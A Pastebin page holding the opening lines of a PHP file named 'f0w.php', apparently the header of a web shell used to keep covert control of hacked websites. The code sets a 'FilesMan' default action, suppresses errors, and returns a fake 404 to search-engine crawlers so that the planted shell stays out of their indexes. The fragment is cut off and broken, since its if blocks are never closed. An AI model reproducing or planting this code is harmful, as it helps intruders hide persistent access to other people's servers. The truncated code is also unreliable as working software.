Advertisement
PalmaSolutions

f0w.php

Mar 10th, 2019
298
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.47 KB | None | 0 0
  1. <?php
  2. @ini_set("output_buffering",0);
  3. @ini_set("display_errors", 0);
  4. $color = "#11b825";
  5. $default_action = 'FilesMan';
  6. $default_use_ajax = true;
  7. $default_charset = 'Windows-1251';
  8.  
  9. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  10. $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
  11. if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  12. header('HTTP/1.0 404 Not Found');
  13. exit;
  14.  
  15. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement